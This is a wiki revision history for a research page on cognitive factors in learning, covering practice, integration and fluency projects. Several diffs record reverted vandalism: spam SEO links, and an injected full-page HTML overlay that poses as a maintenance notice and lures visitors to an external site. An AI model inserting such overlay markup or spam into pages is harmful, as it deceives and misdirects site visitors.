Cognitive Factors - Revision history

Mbett: Reverted edits by Danalovett (Talk); changed back to last version by Gkusbit

2011-08-29T13:37:36Z

Reverted edits by Danalovett (Talk); changed back to last version by Gkusbit

← Older revision		Revision as of 13:37, 29 August 2011
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	=== References ===		=== References ===
	* Borek, A., McLaren, B.M., Karabinos, M., & Yaron, D. (2009). How Much Assistance is Helpful to Students in Discovery Learning? In U. Cress, V. Dimitrova, & M. Specht (Eds.), Proceedings of the Fourth European Conference on Technology Enhanced Learning, Learning in the Synergy of Multiple Disciplines (EC-TEL 2009), LNCS 5794, September/October 2009, Nice, France. (pp. 391-404). Springer-Verlag Berlin Heidelberg.		* Borek, A., McLaren, B.M., Karabinos, M., & Yaron, D. (2009). How Much Assistance is Helpful to Students in Discovery Learning? In U. Cress, V. Dimitrova, & M. Specht (Eds.), Proceedings of the Fourth European Conference on Technology Enhanced Learning, Learning in the Synergy of Multiple Disciplines (EC-TEL 2009), LNCS 5794, September/October 2009, Nice, France. (pp. 391-404). Springer-Verlag Berlin Heidelberg.

	~~[http://editingwritingservices.org/ dissertation editing]~~

Danalovett at 13:14, 29 August 2011

2011-08-29T13:14:54Z

← Older revision		Revision as of 13:14, 29 August 2011
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	=== References ===		=== References ===
	* Borek, A., McLaren, B.M., Karabinos, M., & Yaron, D. (2009). How Much Assistance is Helpful to Students in Discovery Learning? In U. Cress, V. Dimitrova, & M. Specht (Eds.), Proceedings of the Fourth European Conference on Technology Enhanced Learning, Learning in the Synergy of Multiple Disciplines (EC-TEL 2009), LNCS 5794, September/October 2009, Nice, France. (pp. 391-404). Springer-Verlag Berlin Heidelberg.		* Borek, A., McLaren, B.M., Karabinos, M., & Yaron, D. (2009). How Much Assistance is Helpful to Students in Discovery Learning? In U. Cress, V. Dimitrova, & M. Specht (Eds.), Proceedings of the Fourth European Conference on Technology Enhanced Learning, Learning in the Synergy of Multiple Disciplines (EC-TEL 2009), LNCS 5794, September/October 2009, Nice, France. (pp. 391-404). Springer-Verlag Berlin Heidelberg.

			[http://editingwritingservices.org/ dissertation editing]

Gkusbit at 19:04, 9 August 2011

2011-08-09T19:04:10Z

← Older revision		Revision as of 19:04, 9 August 2011
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	* Practice: Practice schedules can be optimized using models of learning based on memory activation assumptions.		* Practice: Practice schedules can be optimized using models of learning based on memory activation assumptions.
	* Integration: Knowledge components that are integrated during learning and practice lead to more robust learning and fluent performance across different tasks.		* Integration: Knowledge components that are integrated during learning and practice lead to more robust learning and fluent performance across different tasks.
	* [http://www.superiorpapers.com/ research papers]

	The research plan tests these hypotheses across knowledge domains, as exemplified by the following projects:		The research plan tests these hypotheses across knowledge domains, as exemplified by the following projects:

Ndjong: Undo revision 12081 by Jmorris14 (Talk)

2011-07-13T12:59:30Z

Undo revision 12081 by Jmorris14 (Talk)

← Older revision		Revision as of 12:59, 13 July 2011
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	*[[Juffs - Feature Focus in Word Learning]]		*[[Juffs - Feature Focus in Word Learning]]
	*[[Fostering fluency in second language learning \| de Jong, Halderman & Perfetti - Fostering fluency in second language learning]]		*[[Fostering fluency in second language learning \| de Jong, Halderman & Perfetti - Fostering fluency in second language learning]]
	*[http://mg-trans.com.ua/perevozka-nefteprodyctov/ Transportation of oil products]
	*[[McLaren_-_The_Assistance_Dilemma_And_Discovery_Learning \| McLaren - The Assistance Dilemma and Discovery Learning]]		*[[McLaren_-_The_Assistance_Dilemma_And_Discovery_Learning \| McLaren - The Assistance Dilemma and Discovery Learning]]
	*[[Wylie - Intelligent Writing Tutor]]		*[[Wylie - Intelligent Writing Tutor]]
	*[[REAP_main \| Eskenazi - REAP]]		*[[REAP_main \| Eskenazi - REAP]]
	*[[Roll - Productive Failure in a Chemistry Virtual Lab]]		*[[Roll - Productive Failure in a Chemistry Virtual Lab]]


	[[Cognitive Factors Monthly Meeting Notes]]		[[Cognitive Factors Monthly Meeting Notes]]

Jmorris14 at 12:54, 13 July 2011

2011-07-13T12:54:09Z

← Older revision		Revision as of 12:54, 13 July 2011
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	*[[Juffs - Feature Focus in Word Learning]]		*[[Juffs - Feature Focus in Word Learning]]
	*[[Fostering fluency in second language learning \| de Jong, Halderman & Perfetti - Fostering fluency in second language learning]]		*[[Fostering fluency in second language learning \| de Jong, Halderman & Perfetti - Fostering fluency in second language learning]]
			*[http://mg-trans.com.ua/perevozka-nefteprodyctov/ Transportation of oil products]
	*[[McLaren_-_The_Assistance_Dilemma_And_Discovery_Learning \| McLaren - The Assistance Dilemma and Discovery Learning]]		*[[McLaren_-_The_Assistance_Dilemma_And_Discovery_Learning \| McLaren - The Assistance Dilemma and Discovery Learning]]
	*[[Wylie - Intelligent Writing Tutor]]		*[[Wylie - Intelligent Writing Tutor]]
	*[[REAP_main \| Eskenazi - REAP]]		*[[REAP_main \| Eskenazi - REAP]]
	*[[Roll - Productive Failure in a Chemistry Virtual Lab]]		*[[Roll - Productive Failure in a Chemistry Virtual Lab]]


	[[Cognitive Factors Monthly Meeting Notes]]		[[Cognitive Factors Monthly Meeting Notes]]

Ndjong: /* Descendents */

2011-02-11T19:43:09Z

Descendents

← Older revision		Revision as of 19:43, 11 February 2011
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	*[[Zhao & MacWhinney - English Article Usage]]		*[[Zhao & MacWhinney - English Article Usage]]
	*[[Juffs - Feature Focus in Word Learning]]		*[[Juffs - Feature Focus in Word Learning]]
	*[[Fostering fluency in second language learning \| de Jong - ~~Fluency~~]]		*[[Fostering fluency in second language learning \| de Jong, Halderman & Perfetti - Fostering fluency in second language learning]]
	*[[McLaren_-_The_Assistance_Dilemma_And_Discovery_Learning \| McLaren - The Assistance Dilemma and Discovery Learning]]		*[[McLaren_-_The_Assistance_Dilemma_And_Discovery_Learning \| McLaren - The Assistance Dilemma and Discovery Learning]]
	*[[Wylie - Intelligent Writing Tutor]]		*[[Wylie - Intelligent Writing Tutor]]

Mbett: Reverted edits by Unyvice (Talk); changed back to last version by Ruth-Wylie

2010-11-15T17:18:57Z

Reverted edits by Unyvice (Talk); changed back to last version by Ruth-Wylie

← Older revision		Revision as of 17:18, 15 November 2010
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	''Integration of knowledge components.'' Isolated knowledge components are not sufficient to produce fluent use of knowledge. Integrating knowledge components is important both in authentic practice that follows acquisition of knowledge components but, we hypothesize, also in the initial acquisition of components. Some of our prior work in coordinative learning establishes some of the conditions that favor multiple inputs during learning (e.g., Davenport et al in stochiometry). And experiments on fluency support the value of repeated practice in single-topic speaking as way to support fluency (de Jong, Halderman and Perfetti). In new work we propose to build on progress we have made in the study of fluency in language (de Jong et al) and arithmetic (Fiez). For example, we will follow the discovery by de Jong and colleagues that when L2 speakers repeat a speech on a single topic, their fluency scores increase on a number of measures. We will test the hypothesis that this results from the advantage of retrieving the same conceptual and lexical knowledge and overall speech plan on successive attempts, allowing fluency to increase on procedural components supported by chunking of words to phrases. We are accumulating a large database in the English LearnLab that will support the testing of additional hypotheses. The idea that some relatively simple learning (e.g. 3-5 knowledge components) is supported by integration from the beginning is being tested by Liu, Guan & Perfetti in a study of learning to read Chinese characters. The hypothesis is that when students write unfamiliar characters within the same 60-second time period that they read the character and try to learn its meaning and pronunciation, they will show more robust learning measured by reading tasks. Underlying this hypothesis is the idea that the representation of a character (or other objects that follow structural principles) can be perceptual-motor as well as visual.		''Integration of knowledge components.'' Isolated knowledge components are not sufficient to produce fluent use of knowledge. Integrating knowledge components is important both in authentic practice that follows acquisition of knowledge components but, we hypothesize, also in the initial acquisition of components. Some of our prior work in coordinative learning establishes some of the conditions that favor multiple inputs during learning (e.g., Davenport et al in stochiometry). And experiments on fluency support the value of repeated practice in single-topic speaking as way to support fluency (de Jong, Halderman and Perfetti). In new work we propose to build on progress we have made in the study of fluency in language (de Jong et al) and arithmetic (Fiez). For example, we will follow the discovery by de Jong and colleagues that when L2 speakers repeat a speech on a single topic, their fluency scores increase on a number of measures. We will test the hypothesis that this results from the advantage of retrieving the same conceptual and lexical knowledge and overall speech plan on successive attempts, allowing fluency to increase on procedural components supported by chunking of words to phrases. We are accumulating a large database in the English LearnLab that will support the testing of additional hypotheses. The idea that some relatively simple learning (e.g. 3-5 knowledge components) is supported by integration from the beginning is being tested by Liu, Guan & Perfetti in a study of learning to read Chinese characters. The hypothesis is that when students write unfamiliar characters within the same 60-second time period that they read the character and try to learn its meaning and pronunciation, they will show more robust learning measured by reading tasks. Underlying this hypothesis is the idea that the representation of a character (or other objects that follow structural principles) can be perceptual-motor as well as visual.

	>== Descendents ==		== Descendents ==

	To create a new project page, enclose your project name in a double set of brackets. Details for a project format may be [[ Project_Page_Template_and_Creation_Instructions \| found here.]]		To create a new project page, enclose your project name in a double set of brackets. Details for a project format may be [[ Project_Page_Template_and_Creation_Instructions \| found here.]]
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	*[[Klahr - TED]]		*[[Klahr - TED]]
	*[[Perfetti - Read Write Integration]]		*[[Perfetti - Read Write Integration]]
	*[[Presson &~~amp;~~ MacWhinney - Second Language Grammar]]		*[[Presson & MacWhinney - Second Language Grammar]]
	*[[Davy &~~amp;~~ MacWhinney - Spanish Sentence Production]]		*[[Davy & MacWhinney - Spanish Sentence Production]]
	*[[Zhang &~~amp;~~ MacWhinney - Chinese Pinyin Learning]]		*[[Zhang & MacWhinney - Chinese Pinyin Learning]]
	*[[Zhao &~~amp;~~ MacWhinney - English Article Usage]]		*[[Zhao & MacWhinney - English Article Usage]]
	*[[Juffs - Feature Focus in Word Learning]]		*[[Juffs - Feature Focus in Word Learning]]
	*[[Fostering fluency in second language learning \| de Jong - Fluency]]		*[[Fostering fluency in second language learning \| de Jong - Fluency]]
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	=== References ===		=== References ===
	* Borek, A., McLaren, B.M., Karabinos, M., &~~amp;~~ Yaron, D. (2009). How Much Assistance is Helpful to Students in Discovery Learning? In U. Cress, V. Dimitrova, &~~amp;~~ M. Specht (Eds.), Proceedings of the Fourth European Conference on Technology Enhanced Learning, Learning in the Synergy of Multiple Disciplines (EC-TEL 2009), LNCS 5794, September/October 2009, Nice, France. (pp. 391-404). Springer-Verlag Berlin Heidelberg.		* Borek, A., McLaren, B.M., Karabinos, M., & Yaron, D. (2009). How Much Assistance is Helpful to Students in Discovery Learning? In U. Cress, V. Dimitrova, & M. Specht (Eds.), Proceedings of the Fourth European Conference on Technology Enhanced Learning, Learning in the Synergy of Multiple Disciplines (EC-TEL 2009), LNCS 5794, September/October 2009, Nice, France. (pp. 391-404). Springer-Verlag Berlin Heidelberg.

	~~----~~
	<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
	~~----~~
	~~=[http://ifycypix.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=~~
	~~----~~
	~~=[http://ifycypix.co.cc CLICK HERE]=~~
	~~----~~
	~~</div>~~

Unyvice at 11:23, 15 November 2010

2010-11-15T11:23:47Z

← Older revision		Revision as of 11:23, 15 November 2010
Line 21:		Line 21:
	''Integration of knowledge components.'' Isolated knowledge components are not sufficient to produce fluent use of knowledge. Integrating knowledge components is important both in authentic practice that follows acquisition of knowledge components but, we hypothesize, also in the initial acquisition of components. Some of our prior work in coordinative learning establishes some of the conditions that favor multiple inputs during learning (e.g., Davenport et al in stochiometry). And experiments on fluency support the value of repeated practice in single-topic speaking as way to support fluency (de Jong, Halderman and Perfetti). In new work we propose to build on progress we have made in the study of fluency in language (de Jong et al) and arithmetic (Fiez). For example, we will follow the discovery by de Jong and colleagues that when L2 speakers repeat a speech on a single topic, their fluency scores increase on a number of measures. We will test the hypothesis that this results from the advantage of retrieving the same conceptual and lexical knowledge and overall speech plan on successive attempts, allowing fluency to increase on procedural components supported by chunking of words to phrases. We are accumulating a large database in the English LearnLab that will support the testing of additional hypotheses. The idea that some relatively simple learning (e.g. 3-5 knowledge components) is supported by integration from the beginning is being tested by Liu, Guan & Perfetti in a study of learning to read Chinese characters. The hypothesis is that when students write unfamiliar characters within the same 60-second time period that they read the character and try to learn its meaning and pronunciation, they will show more robust learning measured by reading tasks. Underlying this hypothesis is the idea that the representation of a character (or other objects that follow structural principles) can be perceptual-motor as well as visual.		''Integration of knowledge components.'' Isolated knowledge components are not sufficient to produce fluent use of knowledge. Integrating knowledge components is important both in authentic practice that follows acquisition of knowledge components but, we hypothesize, also in the initial acquisition of components. Some of our prior work in coordinative learning establishes some of the conditions that favor multiple inputs during learning (e.g., Davenport et al in stochiometry). And experiments on fluency support the value of repeated practice in single-topic speaking as way to support fluency (de Jong, Halderman and Perfetti). In new work we propose to build on progress we have made in the study of fluency in language (de Jong et al) and arithmetic (Fiez). For example, we will follow the discovery by de Jong and colleagues that when L2 speakers repeat a speech on a single topic, their fluency scores increase on a number of measures. We will test the hypothesis that this results from the advantage of retrieving the same conceptual and lexical knowledge and overall speech plan on successive attempts, allowing fluency to increase on procedural components supported by chunking of words to phrases. We are accumulating a large database in the English LearnLab that will support the testing of additional hypotheses. The idea that some relatively simple learning (e.g. 3-5 knowledge components) is supported by integration from the beginning is being tested by Liu, Guan & Perfetti in a study of learning to read Chinese characters. The hypothesis is that when students write unfamiliar characters within the same 60-second time period that they read the character and try to learn its meaning and pronunciation, they will show more robust learning measured by reading tasks. Underlying this hypothesis is the idea that the representation of a character (or other objects that follow structural principles) can be perceptual-motor as well as visual.

	== Descendents ==		>== Descendents ==

	To create a new project page, enclose your project name in a double set of brackets. Details for a project format may be [[ Project_Page_Template_and_Creation_Instructions \| found here.]]		To create a new project page, enclose your project name in a double set of brackets. Details for a project format may be [[ Project_Page_Template_and_Creation_Instructions \| found here.]]
Line 27:		Line 27:
	*[[Klahr - TED]]		*[[Klahr - TED]]
	*[[Perfetti - Read Write Integration]]		*[[Perfetti - Read Write Integration]]
	*[[Presson & MacWhinney - Second Language Grammar]]		*[[Presson & MacWhinney - Second Language Grammar]]
	*[[Davy & MacWhinney - Spanish Sentence Production]]		*[[Davy & MacWhinney - Spanish Sentence Production]]
	*[[Zhang & MacWhinney - Chinese Pinyin Learning]]		*[[Zhang & MacWhinney - Chinese Pinyin Learning]]
	*[[Zhao & MacWhinney - English Article Usage]]		*[[Zhao & MacWhinney - English Article Usage]]
	*[[Juffs - Feature Focus in Word Learning]]		*[[Juffs - Feature Focus in Word Learning]]
	*[[Fostering fluency in second language learning \| de Jong - Fluency]]		*[[Fostering fluency in second language learning \| de Jong - Fluency]]
Line 41:		Line 41:

	=== References ===		=== References ===
	* Borek, A., McLaren, B.M., Karabinos, M., & Yaron, D. (2009). How Much Assistance is Helpful to Students in Discovery Learning? In U. Cress, V. Dimitrova, & M. Specht (Eds.), Proceedings of the Fourth European Conference on Technology Enhanced Learning, Learning in the Synergy of Multiple Disciplines (EC-TEL 2009), LNCS 5794, September/October 2009, Nice, France. (pp. 391-404). Springer-Verlag Berlin Heidelberg.		* Borek, A., McLaren, B.M., Karabinos, M., & Yaron, D. (2009). How Much Assistance is Helpful to Students in Discovery Learning? In U. Cress, V. Dimitrova, & M. Specht (Eds.), Proceedings of the Fourth European Conference on Technology Enhanced Learning, Learning in the Synergy of Multiple Disciplines (EC-TEL 2009), LNCS 5794, September/October 2009, Nice, France. (pp. 391-404). Springer-Verlag Berlin Heidelberg.

			----
			<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
			----
			=[http://ifycypix.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
			----
			=[http://ifycypix.co.cc CLICK HERE]=
			----
			</div>

Ruth-Wylie at 21:02, 24 September 2010

2010-09-24T21:02:15Z

← Older revision		Revision as of 21:02, 24 September 2010
Line 37:		Line 37:
	*[[REAP_main \| Eskenazi - REAP]]		*[[REAP_main \| Eskenazi - REAP]]
	*[[Roll - Productive Failure in a Chemistry Virtual Lab]]		*[[Roll - Productive Failure in a Chemistry Virtual Lab]]

			[[Cognitive Factors Monthly Meeting Notes]]

	=== References ===		=== References ===
	* Borek, A., McLaren, B.M., Karabinos, M., & Yaron, D. (2009). How Much Assistance is Helpful to Students in Discovery Learning? In U. Cress, V. Dimitrova, & M. Specht (Eds.), Proceedings of the Fourth European Conference on Technology Enhanced Learning, Learning in the Synergy of Multiple Disciplines (EC-TEL 2009), LNCS 5794, September/October 2009, Nice, France. (pp. 391-404). Springer-Verlag Berlin Heidelberg.		* Borek, A., McLaren, B.M., Karabinos, M., & Yaron, D. (2009). How Much Assistance is Helpful to Students in Discovery Learning? In U. Cress, V. Dimitrova, & M. Specht (Eds.), Proceedings of the Fourth European Conference on Technology Enhanced Learning, Learning in the Synergy of Multiple Disciplines (EC-TEL 2009), LNCS 5794, September/October 2009, Nice, France. (pp. 391-404). Springer-Verlag Berlin Heidelberg.

Presson: /* Descendents */

2010-08-25T15:44:44Z

Descendents

← Older revision		Revision as of 15:44, 25 August 2010
Line 27:		Line 27:
	*[[Klahr - TED]]		*[[Klahr - TED]]
	*[[Perfetti - Read Write Integration]]		*[[Perfetti - Read Write Integration]]
	*[[Presson ~~and~~ MacWhinney - Second Language Grammar]]		*[[Presson & MacWhinney - Second Language Grammar]]
	*[[Davy & MacWhinney - Spanish Sentence Production]]		*[[Davy & MacWhinney - Spanish Sentence Production]]
	*[[Zhang & MacWhinney - Chinese Pinyin Learning]]		*[[Zhang & MacWhinney - Chinese Pinyin Learning]]